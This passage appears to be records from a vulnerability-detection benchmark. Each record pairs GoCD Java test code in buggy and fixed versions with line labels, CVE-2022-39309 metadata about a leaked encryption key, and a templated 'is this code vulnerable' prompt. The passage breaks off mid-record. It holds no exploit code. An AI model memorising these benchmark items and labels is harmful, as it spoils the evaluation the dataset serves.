anyInt())).thenReturn(modifications);", " List<Modification> result = materialService.getModificationsFor(config, \"comment\", 0, 0, 10);", " verify(materialRepository).findMatchingModifications(eq(instance.getId()), eq(\"comment\"), eq(FeedModifier.Latest), eq(0L), eq(10));\n assertThat(result, is(modifications));\n }", " @Test\n public void findMatchingMods_shouldCallDaoToFetchMatchingModsAfterCursor() {\n GitMaterialConfig config = git(\"http://test.com\");\n GitMaterialInstance instance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 2\", \"email\", new DateTime().minusHours(2).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 3\", \"email\", new DateTime().minusHours(3).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(config)).thenReturn(instance);\n when(materialRepository.findMatchingModifications(anyLong(), anyString(), any(FeedModifier.class), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> result = materialService.getModificationsFor(config, \"comment\", 3, 0, 10);", " verify(materialRepository).findMatchingModifications(eq(instance.getId()), eq(\"comment\"), eq(FeedModifier.After), eq(3L), eq(10));\n assertThat(result, is(modifications));\n }", " @Test\n public void findMatchingMods_shouldCallDaoToFetchMatchingModsBeforeCursor() {\n GitMaterialConfig config = git(\"http://test.com\");\n GitMaterialInstance instance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 2\", \"email\", new DateTime().minusHours(2).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 3\", \"email\", new DateTime().minusHours(3).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(config)).thenReturn(instance);\n when(materialRepository.findMatchingModifications(anyLong(), anyString(), any(FeedModifier.class), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> result = materialService.getModificationsFor(config, \"comment\", 0, 3, 10);", " verify(materialRepository).findMatchingModifications(eq(instance.getId()), eq(\"comment\"), eq(FeedModifier.Before), eq(3L), eq(10));\n assertThat(result, is(modifications));\n }", " @Test\n public void findMatchingMods_shouldReturnNullIfMaterialIsNotPresent() {\n GitMaterialConfig material = git(\"http://test.com\");", " when(materialRepository.findMaterialInstance(material)).thenReturn(null);", " List<Modification> result = materialService.getModificationsFor(material, \"comment\", 0, 0, 10);", " assertThat(result, is(nullValue()));\n verify(materialRepository).findMaterialInstance(material);\n verifyNoMoreInteractions(materialRepository);\n }", " private void assertHasModification(MaterialRevisions materialRevisions, boolean b) {\n HgMaterial hgMaterial = new HgMaterial(\"foo.com\", null);\n when(materialRepository.findLatestModification(hgMaterial)).thenReturn(materialRevisions);\n assertThat(materialService.hasModificationFor(hgMaterial), is(b));\n }", " private static class RequestDataPoints<T extends Material> {\n final T material;\n final Class klass;", " public RequestDataPoints(T material, Class klass) {\n this.material = material;\n this.klass = klass;\n }\n }", " @Test\n public void latestModification_shouldResolveSecretsForPluggableScmMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = spy(new PluggableSCMMaterial());\n MaterialService serviceSpy = spy(materialService);\n PluggableSCMMaterialPoller poller = mock(PluggableSCMMaterialPoller.class);", " doReturn(PluggableSCMMaterial.class).when(serviceSpy).getMaterialClass(pluggableSCMMaterial);\n doReturn(true).when(pluggableSCMMaterial).hasSecretParams();\n doReturn(poller).when(serviceSpy).getPollerImplementation(pluggableSCMMaterial);\n when(poller.latestModification(any(), any(), any())).thenReturn(new ArrayList<>());", " serviceSpy.latestModification(pluggableSCMMaterial, null, null);", " verify(secretParamResolver).resolve(pluggableSCMMaterial);\n }", " @Test\n public void modificationsSince_shouldResolveSecretsForPluggableScmMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = spy(new PluggableSCMMaterial());\n MaterialService serviceSpy = spy(materialService);\n PluggableSCMMaterialPoller poller = mock(PluggableSCMMaterialPoller.class);", " doReturn(PluggableSCMMaterial.class).when(serviceSpy).getMaterialClass(pluggableSCMMaterial);\n doReturn(true).when(pluggableSCMMaterial).hasSecretParams();\n doReturn(poller).when(serviceSpy).getPollerImplementation(pluggableSCMMaterial);\n when(poller.latestModification(any(), any(), any())).thenReturn(new ArrayList<>());", " serviceSpy.modificationsSince(pluggableSCMMaterial, null, null, null);", " verify(secretParamResolver).resolve(pluggableSCMMaterial);\n }", " @Test\n public void checkout_shouldResolveSecretsForPluggableScmMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = spy(new PluggableSCMMaterial());\n MaterialService serviceSpy = spy(materialService);\n PluggableSCMMaterialPoller poller = mock(PluggableSCMMaterialPoller.class);", " doReturn(PluggableSCMMaterial.class).when(serviceSpy).getMaterialClass(pluggableSCMMaterial);\n doReturn(true).when(pluggableSCMMaterial).hasSecretParams();\n doReturn(poller).when(serviceSpy).getPollerImplementation(pluggableSCMMaterial);\n when(poller.latestModification(any(), any(), any())).thenReturn(new ArrayList<>());", " serviceSpy.checkout(pluggableSCMMaterial, null, null, null);", " verify(secretParamResolver).resolve(pluggableSCMMaterial);\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [138, 126, 343, 39, 395, 185, 209, 188, 69, 72, 97, 85, 72, 44, 35, 179, 204, 89], "buggy_code_start_loc": [137, 101, 71, 21, 332, 183, 35, 24, 28, 29, 61, 56, 28, 21, 20, 32, 52, 22], "filenames": ["api/api-server-maintenance-mode-v1/src/test/groovy/com/thoughtworks/go/apiv1/servermaintenancemode/representers/MaintenanceModeInfoRepresenterTest.groovy", "common/src/test/java/com/thoughtworks/go/config/materials/perforce/P4MaterialTest.java", "common/src/test/java/com/thoughtworks/go/config/materials/tfs/TfsMaterialTest.java", "common/src/test/java/com/thoughtworks/go/domain/materials/DummyMaterial.java", "common/src/test/java/com/thoughtworks/go/domain/materials/svn/SvnMaterialTest.java", "common/src/test/java/com/thoughtworks/go/server/service/MagicalMaterialAndMaterialConfigConversionTest.java", "domain/src/main/java/com/thoughtworks/go/config/materials/Materials.java", "domain/src/main/java/com/thoughtworks/go/config/materials/ScmMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/git/GitMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/mercurial/HgMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/perforce/P4Material.java", "domain/src/main/java/com/thoughtworks/go/config/materials/svn/SvnMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/tfs/TfsMaterial.java", "domain/src/main/java/com/thoughtworks/go/domain/materials/TestingMaterial.java", "domain/src/main/java/com/thoughtworks/go/domain/materials/tfs/TfsMaterialInstance.java", "domain/src/test/java/com/thoughtworks/go/helper/MaterialsMother.java", "server/src/test-fast/java/com/thoughtworks/go/server/service/MaterialServiceTest.java", "server/src/test-integration/java/com/thoughtworks/go/domain/materials/tfs/TfsMaterialPersistenceTest.java"], "fixing_code_end_loc": [138, 100, 291, 38, 343, 184, 208, 150, 68, 71, 89, 81, 71, 43, 34, 178, 203, 88], "fixing_code_start_loc": [137, 100, 71, 20, 331, 183, 34, 23, 27, 28, 61, 55, 27, 20, 19, 31, 51, 21], "message": "GoCD is a continuous delivery server. GoCD helps you automate and streamline the build-test-release cycle for continuous delivery of your product. GoCD versions prior to 21.1.0 leak the symmetric key used to encrypt/decrypt any secure variables/secrets in GoCD configuration to authenticated agents. A malicious/compromised agent may then expose that key from memory, and potentially allow an attacker the ability to decrypt secrets intended for other agents/environments if they also are able to obtain access to encrypted configuration values from the GoCD server. This issue is fixed in GoCD version 21.1.0. There are currently no known workarounds.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*", "matchCriteriaId": "AE600F59-5CB0-4E7F-B58F-16121BF8F61E", "versionEndExcluding": "21.1.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "GoCD is a continuous delivery server. GoCD helps you automate and streamline the build-test-release cycle for continuous delivery of your product. GoCD versions prior to 21.1.0 leak the symmetric key used to encrypt/decrypt any secure variables/secrets in GoCD configuration to authenticated agents. A malicious/compromised agent may then expose that key from memory, and potentially allow an attacker the ability to decrypt secrets intended for other agents/environments if they also are able to obtain access to encrypted configuration values from the GoCD server. This issue is fixed in GoCD version 21.1.0. There are currently no known workarounds."}, {"lang": "es", "value": "GoCD es un servidor de entrega continua. GoCD le ayuda a automatizar y agilizar el ciclo de construcci\u00f3n-prueba-lanzamiento para la entrega continua de su producto. Las versiones de GoCD anteriores a 21.1.0 filtran la clave sim\u00e9trica usada para cifrar/descifrar cualquier variable/secreto seguro en la configuraci\u00f3n de GoCD a los agentes autenticados. Un agente malicioso/comprometido puede entonces exponer esa clave desde la memoria, y potencialmente permitir a un atacante la capacidad de descifrar secretos destinados a otros agentes/entornos si tambi\u00e9n son capaces de obtener acceso a los valores de configuraci\u00f3n cifrados del servidor GoCD. Este problema ha sido corregido en GoCD versi\u00f3n 21.1.0. Actualmente no se presentan mitigaciones\n"}], "evaluatorComment": null, "id": "CVE-2022-39309", "lastModified": "2022-10-21T20:24:11.070", "metrics": {"cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.9, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 1.2, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2022-10-14T20:15:15.553", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/commit/691b479f1310034992da141760e9c5d1f5b60e8a"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/releases/tag/21.1.0"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Release Notes", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/security/advisories/GHSA-f9qg-xcxq-cgv9"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Vendor Advisory"], "url": "https://www.gocd.org/releases/#21-1-0"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-668"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-499"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/gocd/gocd/commit/691b479f1310034992da141760e9c5d1f5b60e8a"}, "type": "CWE-668"}
124
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright 2020 ThoughtWorks, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.thoughtworks.go.domain.materials.tfs;", "import com.thoughtworks.go.config.CaseInsensitiveString;\nimport com.thoughtworks.go.config.materials.tfs.TfsMaterial;\nimport com.thoughtworks.go.domain.MaterialInstance;\nimport com.thoughtworks.go.domain.materials.Material;", "import com.thoughtworks.go.security.GoCipher;", "import com.thoughtworks.go.server.cache.GoCache;\nimport com.thoughtworks.go.server.dao.DatabaseAccessHelper;\nimport com.thoughtworks.go.server.persistence.MaterialRepository;\nimport com.thoughtworks.go.util.GoConfigFileHelper;\nimport com.thoughtworks.go.util.command.UrlArgument;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;", "import static org.hamcrest.Matchers.is;\nimport static org.junit.Assert.assertThat;\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\n \"classpath:/applicationContext-global.xml\",\n \"classpath:/applicationContext-dataLocalAccess.xml\",\n \"classpath:/testPropertyConfigurer.xml\",\n \"classpath:/spring-all-servlet.xml\",\n})\npublic class TfsMaterialPersistenceTest {\n @Autowired private DatabaseAccessHelper dbHelper;\n @Autowired private MaterialRepository materialRepository;\n @Autowired private GoCache goCache;", " private GoConfigFileHelper configHelper = new GoConfigFileHelper();", " @Before\n public void setUp() throws Exception {\n goCache.clear();\n configHelper.onSetUp();\n dbHelper.onSetUp();\n }", " @After\n public void teardown() throws Exception {\n dbHelper.onTearDown();\n configHelper.onTearDown();\n }", " @Test\n public void shouldBeAbleToConvertAMaterialInstanceObjectToTfsMaterialObject() {", " TfsMaterial tfsCfg = new TfsMaterial(new GoCipher(), new UrlArgument(\"url\"), \"loser\", \"CORPORATE\", \"password\", \"/dev/null\");", " tfsCfg.setFolder(\"folder\");\n tfsCfg.setName(new CaseInsensitiveString(\"materialName\"));\n MaterialInstance tfsInstance = materialRepository.findOrCreateFrom(tfsCfg);", " Material material = tfsInstance.toOldMaterial(\"materialName\", \"folder\", \"password\");\n assertThat(material, is(tfsCfg));\n }", " @Test\n public void shouldFindOldMaterial() {", " TfsMaterial tfsCfg = new TfsMaterial(new GoCipher(), new UrlArgument(\"url\"), \"loser\", \"CORPORATE\", \"foo_bar_baz\", \"/dev/null\");", " MaterialInstance tfsInstance1 = materialRepository.findOrCreateFrom(tfsCfg);\n goCache.clear();\n MaterialInstance tfsInstance2 = materialRepository.findOrCreateFrom(tfsCfg);", " assertThat(tfsInstance1, is(tfsInstance2));\n }", " @Test\n public void shouldSaveMaterialInstance() throws Exception {", " TfsMaterial tfsCfg = new TfsMaterial(new GoCipher(), new UrlArgument(\"url\"), \"loser\", \"CORPORATE\", \"foo_bar_baz\", \"/dev/null\");", " MaterialInstance materialInstance = materialRepository.findOrCreateFrom(tfsCfg);\n assertThat(materialRepository.findMaterialInstance(tfsCfg), is(materialInstance));\n }", "}" ]
[ 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [138, 126, 343, 39, 395, 185, 209, 188, 69, 72, 97, 85, 72, 44, 35, 179, 204, 89], "buggy_code_start_loc": [137, 101, 71, 21, 332, 183, 35, 24, 28, 29, 61, 56, 28, 21, 20, 32, 52, 22], "filenames": ["api/api-server-maintenance-mode-v1/src/test/groovy/com/thoughtworks/go/apiv1/servermaintenancemode/representers/MaintenanceModeInfoRepresenterTest.groovy", "common/src/test/java/com/thoughtworks/go/config/materials/perforce/P4MaterialTest.java", "common/src/test/java/com/thoughtworks/go/config/materials/tfs/TfsMaterialTest.java", "common/src/test/java/com/thoughtworks/go/domain/materials/DummyMaterial.java", "common/src/test/java/com/thoughtworks/go/domain/materials/svn/SvnMaterialTest.java", "common/src/test/java/com/thoughtworks/go/server/service/MagicalMaterialAndMaterialConfigConversionTest.java", "domain/src/main/java/com/thoughtworks/go/config/materials/Materials.java", "domain/src/main/java/com/thoughtworks/go/config/materials/ScmMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/git/GitMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/mercurial/HgMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/perforce/P4Material.java", "domain/src/main/java/com/thoughtworks/go/config/materials/svn/SvnMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/tfs/TfsMaterial.java", "domain/src/main/java/com/thoughtworks/go/domain/materials/TestingMaterial.java", "domain/src/main/java/com/thoughtworks/go/domain/materials/tfs/TfsMaterialInstance.java", "domain/src/test/java/com/thoughtworks/go/helper/MaterialsMother.java", "server/src/test-fast/java/com/thoughtworks/go/server/service/MaterialServiceTest.java", "server/src/test-integration/java/com/thoughtworks/go/domain/materials/tfs/TfsMaterialPersistenceTest.java"], "fixing_code_end_loc": [138, 100, 291, 38, 343, 184, 208, 150, 68, 71, 89, 81, 71, 43, 34, 178, 203, 88], "fixing_code_start_loc": [137, 100, 71, 20, 331, 183, 34, 23, 27, 28, 61, 55, 27, 20, 19, 31, 51, 21], "message": "GoCD is a continuous delivery server. GoCD helps you automate and streamline the build-test-release cycle for continuous delivery of your product. GoCD versions prior to 21.1.0 leak the symmetric key used to encrypt/decrypt any secure variables/secrets in GoCD configuration to authenticated agents. A malicious/compromised agent may then expose that key from memory, and potentially allow an attacker the ability to decrypt secrets intended for other agents/environments if they also are able to obtain access to encrypted configuration values from the GoCD server. This issue is fixed in GoCD version 21.1.0. There are currently no known workarounds.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*", "matchCriteriaId": "AE600F59-5CB0-4E7F-B58F-16121BF8F61E", "versionEndExcluding": "21.1.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "GoCD is a continuous delivery server. GoCD helps you automate and streamline the build-test-release cycle for continuous delivery of your product. GoCD versions prior to 21.1.0 leak the symmetric key used to encrypt/decrypt any secure variables/secrets in GoCD configuration to authenticated agents. A malicious/compromised agent may then expose that key from memory, and potentially allow an attacker the ability to decrypt secrets intended for other agents/environments if they also are able to obtain access to encrypted configuration values from the GoCD server. This issue is fixed in GoCD version 21.1.0. There are currently no known workarounds."}, {"lang": "es", "value": "GoCD es un servidor de entrega continua. GoCD le ayuda a automatizar y agilizar el ciclo de construcci\u00f3n-prueba-lanzamiento para la entrega continua de su producto. Las versiones de GoCD anteriores a 21.1.0 filtran la clave sim\u00e9trica usada para cifrar/descifrar cualquier variable/secreto seguro en la configuraci\u00f3n de GoCD a los agentes autenticados. Un agente malicioso/comprometido puede entonces exponer esa clave desde la memoria, y potencialmente permitir a un atacante la capacidad de descifrar secretos destinados a otros agentes/entornos si tambi\u00e9n son capaces de obtener acceso a los valores de configuraci\u00f3n cifrados del servidor GoCD. Este problema ha sido corregido en GoCD versi\u00f3n 21.1.0. Actualmente no se presentan mitigaciones\n"}], "evaluatorComment": null, "id": "CVE-2022-39309", "lastModified": "2022-10-21T20:24:11.070", "metrics": {"cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.9, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 1.2, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2022-10-14T20:15:15.553", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/commit/691b479f1310034992da141760e9c5d1f5b60e8a"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/releases/tag/21.1.0"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Release Notes", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/security/advisories/GHSA-f9qg-xcxq-cgv9"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Vendor Advisory"], "url": "https://www.gocd.org/releases/#21-1-0"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-668"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-499"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/gocd/gocd/commit/691b479f1310034992da141760e9c5d1f5b60e8a"}, "type": "CWE-668"}
124
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright 2020 ThoughtWorks, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.thoughtworks.go.domain.materials.tfs;", "import com.thoughtworks.go.config.CaseInsensitiveString;\nimport com.thoughtworks.go.config.materials.tfs.TfsMaterial;\nimport com.thoughtworks.go.domain.MaterialInstance;\nimport com.thoughtworks.go.domain.materials.Material;", "", "import com.thoughtworks.go.server.cache.GoCache;\nimport com.thoughtworks.go.server.dao.DatabaseAccessHelper;\nimport com.thoughtworks.go.server.persistence.MaterialRepository;\nimport com.thoughtworks.go.util.GoConfigFileHelper;\nimport com.thoughtworks.go.util.command.UrlArgument;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;", "import static org.hamcrest.Matchers.is;\nimport static org.junit.Assert.assertThat;\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\n \"classpath:/applicationContext-global.xml\",\n \"classpath:/applicationContext-dataLocalAccess.xml\",\n \"classpath:/testPropertyConfigurer.xml\",\n \"classpath:/spring-all-servlet.xml\",\n})\npublic class TfsMaterialPersistenceTest {\n @Autowired private DatabaseAccessHelper dbHelper;\n @Autowired private MaterialRepository materialRepository;\n @Autowired private GoCache goCache;", " private GoConfigFileHelper configHelper = new GoConfigFileHelper();", " @Before\n public void setUp() throws Exception {\n goCache.clear();\n configHelper.onSetUp();\n dbHelper.onSetUp();\n }", " @After\n public void teardown() throws Exception {\n dbHelper.onTearDown();\n configHelper.onTearDown();\n }", " @Test\n public void shouldBeAbleToConvertAMaterialInstanceObjectToTfsMaterialObject() {", " TfsMaterial tfsCfg = new TfsMaterial(new UrlArgument(\"url\"), \"loser\", \"CORPORATE\", \"password\", \"/dev/null\");", " tfsCfg.setFolder(\"folder\");\n tfsCfg.setName(new CaseInsensitiveString(\"materialName\"));\n MaterialInstance tfsInstance = materialRepository.findOrCreateFrom(tfsCfg);", " Material material = tfsInstance.toOldMaterial(\"materialName\", \"folder\", \"password\");\n assertThat(material, is(tfsCfg));\n }", " @Test\n public void shouldFindOldMaterial() {", " TfsMaterial tfsCfg = new TfsMaterial(new UrlArgument(\"url\"), \"loser\", \"CORPORATE\", \"foo_bar_baz\", \"/dev/null\");", " MaterialInstance tfsInstance1 = materialRepository.findOrCreateFrom(tfsCfg);\n goCache.clear();\n MaterialInstance tfsInstance2 = materialRepository.findOrCreateFrom(tfsCfg);", " assertThat(tfsInstance1, is(tfsInstance2));\n }", " @Test\n public void shouldSaveMaterialInstance() throws Exception {", " TfsMaterial tfsCfg = new TfsMaterial(new UrlArgument(\"url\"), \"loser\", \"CORPORATE\", \"foo_bar_baz\", \"/dev/null\");", " MaterialInstance materialInstance = materialRepository.findOrCreateFrom(tfsCfg);\n assertThat(materialRepository.findMaterialInstance(tfsCfg), is(materialInstance));\n }", "}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [138, 126, 343, 39, 395, 185, 209, 188, 69, 72, 97, 85, 72, 44, 35, 179, 204, 89], "buggy_code_start_loc": [137, 101, 71, 21, 332, 183, 35, 24, 28, 29, 61, 56, 28, 21, 20, 32, 52, 22], "filenames": ["api/api-server-maintenance-mode-v1/src/test/groovy/com/thoughtworks/go/apiv1/servermaintenancemode/representers/MaintenanceModeInfoRepresenterTest.groovy", "common/src/test/java/com/thoughtworks/go/config/materials/perforce/P4MaterialTest.java", "common/src/test/java/com/thoughtworks/go/config/materials/tfs/TfsMaterialTest.java", "common/src/test/java/com/thoughtworks/go/domain/materials/DummyMaterial.java", "common/src/test/java/com/thoughtworks/go/domain/materials/svn/SvnMaterialTest.java", "common/src/test/java/com/thoughtworks/go/server/service/MagicalMaterialAndMaterialConfigConversionTest.java", "domain/src/main/java/com/thoughtworks/go/config/materials/Materials.java", "domain/src/main/java/com/thoughtworks/go/config/materials/ScmMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/git/GitMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/mercurial/HgMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/perforce/P4Material.java", "domain/src/main/java/com/thoughtworks/go/config/materials/svn/SvnMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/tfs/TfsMaterial.java", "domain/src/main/java/com/thoughtworks/go/domain/materials/TestingMaterial.java", "domain/src/main/java/com/thoughtworks/go/domain/materials/tfs/TfsMaterialInstance.java", "domain/src/test/java/com/thoughtworks/go/helper/MaterialsMother.java", "server/src/test-fast/java/com/thoughtworks/go/server/service/MaterialServiceTest.java", "server/src/test-integration/java/com/thoughtworks/go/domain/materials/tfs/TfsMaterialPersistenceTest.java"], "fixing_code_end_loc": [138, 100, 291, 38, 343, 184, 208, 150, 68, 71, 89, 81, 71, 43, 34, 178, 203, 88], "fixing_code_start_loc": [137, 100, 71, 20, 331, 183, 34, 23, 27, 28, 61, 55, 27, 20, 19, 31, 51, 21], "message": "GoCD is a continuous delivery server. GoCD helps you automate and streamline the build-test-release cycle for continuous delivery of your product. GoCD versions prior to 21.1.0 leak the symmetric key used to encrypt/decrypt any secure variables/secrets in GoCD configuration to authenticated agents. A malicious/compromised agent may then expose that key from memory, and potentially allow an attacker the ability to decrypt secrets intended for other agents/environments if they also are able to obtain access to encrypted configuration values from the GoCD server. This issue is fixed in GoCD version 21.1.0. There are currently no known workarounds.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*", "matchCriteriaId": "AE600F59-5CB0-4E7F-B58F-16121BF8F61E", "versionEndExcluding": "21.1.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "GoCD is a continuous delivery server. GoCD helps you automate and streamline the build-test-release cycle for continuous delivery of your product. GoCD versions prior to 21.1.0 leak the symmetric key used to encrypt/decrypt any secure variables/secrets in GoCD configuration to authenticated agents. A malicious/compromised agent may then expose that key from memory, and potentially allow an attacker the ability to decrypt secrets intended for other agents/environments if they also are able to obtain access to encrypted configuration values from the GoCD server. This issue is fixed in GoCD version 21.1.0. There are currently no known workarounds."}, {"lang": "es", "value": 